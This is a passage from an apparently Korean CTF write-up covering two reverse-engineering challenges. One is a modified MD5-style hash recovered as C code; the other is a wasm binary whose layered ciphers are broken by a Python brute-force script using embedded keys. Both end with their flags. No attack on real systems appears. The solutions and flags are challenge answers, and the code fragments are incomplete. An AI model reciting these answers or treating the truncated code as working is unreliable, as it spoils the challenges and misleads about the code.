0x7368706b, 0x7368706b, 0x7368706b, 0x7368706b, 0x7368706b, 0x7368706b, 0x7368706b,
0x7368706b, 0x7368706b, 0x7368706b, 0x7368706b };
uint32_t MODE_MEATBOX = 1;
uint32_t MODE_SOULBOX = 2;
uint32_t MODE_GODBOX = 3;
40
int offset;
for(offset=0; offset<new_len; offset += (512/8)) {
uint32_t *w = (uint32_t *) (msg + offset);
uint32_t a = h0;
uint32_t b = h1;
uint32_t c = h2;
uint32_t d = h3;
uint32_t x = 0;
uint32_t y = 5;
uint32_t i;
for(i = 0; i<64; i++) {
uint32_t f, g;
uint32_t temp = d;
d = c;
c = b;
if (i < 16) {
f = b & ~temp | ~(d & temp);
g = i;
} else if (i < 32) {
if (mode == MODE_MEATBOX || mode == MODE_SOULBOX)
f = b & temp | ~(d ^ b);
else
f = ~(b & temp & (b ^ d));
g = (y - 5) & 0xE | 1;
} else if (i < 48) {
if (mode == MODE_MEATBOX || mode == MODE_SOULBOX)
f = d ^ ~(b | temp);
else
f = (b | temp) ^ d;
g = y & 0xF;
} else {
if (mode == MODE_MEATBOX || mode == MODE_SOULBOX)
f = d & ~b ^ temp;
else
f = b & d ^ temp;
g = x & 0xF;
}
41
else {
h0 = (h0 + a) % 30;
h1 = (h1 + b) % 30;
h2 = (h2 + c) % 30;
h3 = (h3 + d) % 30;
}
}
free(msg);
return h0;
}
int main(int argc, char **argv) {
uint32_t compare_table[] = { 0x7, 0x18, 0x10, 0xf, 0x1c, 0x12, 0x5, 0xa, 0x7,
0xb, 0x2, 0xf, 0x12, 0x6, 0x8, 0x13, 0xa, 0x7, 0x5, 0x9, 0xb, 0x6, 0xf, 0xf, 0x11,
0x4, 0x13, 0x13, 0x1, 0xe, 0x3, 0xb, 0x0, 0x1, 0x1, 0x9, 0x9, 0x2, 0x8, 0x13, 0x1,
0xe, 0x1, 0x1, 0xc, 0x9, 0x5, 0x10, 0x1, 0x12, 0xa, 0x8, 0xb, 0x12, 0x11, 0x4, 0x13,
0x1, 0x1, 0xc, 0x13, 0x1, 0xe, 0x12, 0x0, 0xe, 0x8, 0xb, 0x12, 0x1, 0xf, 0xb, 0x3,
0xb, 0x0, 0x1, 0x1, 0xc, 0x7, 0x5, 0x4, 0x8, 0xb, 0x12, 0x8, 0x18, 0xf, 0x8, 0x18,
0xf, 0xe, 0x1c, 0xf, 0x1, 0x12, 0xa, 0x10, 0x15, 0x11, 0x1, 0x1, 0xc, 0x6, 0x16,
0xa, 0x8, 0xb, 0x12, 0x11, 0x4, 0x13, 0x1, 0x12, 0xa, 0x1, 0x1, 0xc, 0xe, 0x1c, 0xf,
0x1, 0x12, 0xa, 0x1, 0x1, 0xc, 0x3, 0xb, 0x0, 0x9, 0x2, 0x8, 0x4, 0xd, 0x10, 0x1,
0x1, 0xc, 0x6, 0x16, 0xa, 0x4, 0xd, 0x10, 0x4, 0xd, 0x10, 0x11, 0xf, 0x5, 0x7, 0x17,
0x2 };
uint8_t flag[52] = { 0, };
puts(flag);
return 0;
}
FLAG: LINECTF{watcha_kn0w_ab0ut_r0ll1ng_d0wn_1n_th3_d33p}
42
Rev - RES
웹 페이지에서 wasm으로 컴파일된 바이너리를 획득할 수 있다. 분석해 본 결과 rc4, aes, des,
camellia, seed 다섯 개의 암호화 함수가 존재하고 랜덤한 조합으로 입력 값을 암호화하여
반환한다. 각 암호화의 키 및 IV는 바이너리 내부에 들어있기 때문에 하나씩 추출하여 전체
조합을 브루트포싱하는 스크립트를 작성하여 해결할 수 있다.
import itertools
import camellia
import base64
def decrypt_rc4(ct):
key = b'G\x06H\x08Q\xe6\x1b\xe8]t\xbf\xb3\xfd\x95a\x85'
rc4 = ARC4.new(key)
return rc4.decrypt(ct)
def decrypt_aes(ct):
key = b'\xa7A\xbe\x141\xdd\x82IcW\xba\xf11\xae\xcf\xd5'
iv = b'\xc9\x19(\xc8O\xc6\x1b\xe8]y\xcf\x83\xfd\x95\xc1\x85'
def decrypt_3des(ct):
key = b'HELPME!\x00THANKS!\x00\x10\x20\x30\x40\x50\x60\x70\x80'
def decrypt_camellia(ct):
key = b'\x11"3DUfw\x88\x99\xaa\xbb\xcc\xdd\xee\xff\x00'
def decrypt_seed(ct):
key = b'\xff\x04(a!\xea\x1b\xe8mq\xcc\xb1\xfd\xa7C\x82'
mode = modes.ECB()
cipher = base.Cipher(algorithms.SEED(key), mode, backend)
decryptor = cipher.decryptor()
pt = decryptor.update(ct)
pt += decryptor.finalize()
return pt
ct = "N9Nb2sPYFl6sEbVORzuK1kUXMvs+/LbyrTpJaxQj3fdDhXyKN8mBELPRTX5904o9"
43
ct = base64.b64decode(ct)
FLAG: LINECTF{RE7ard3d_3ncryp710n_53rv1c3_x0x}
44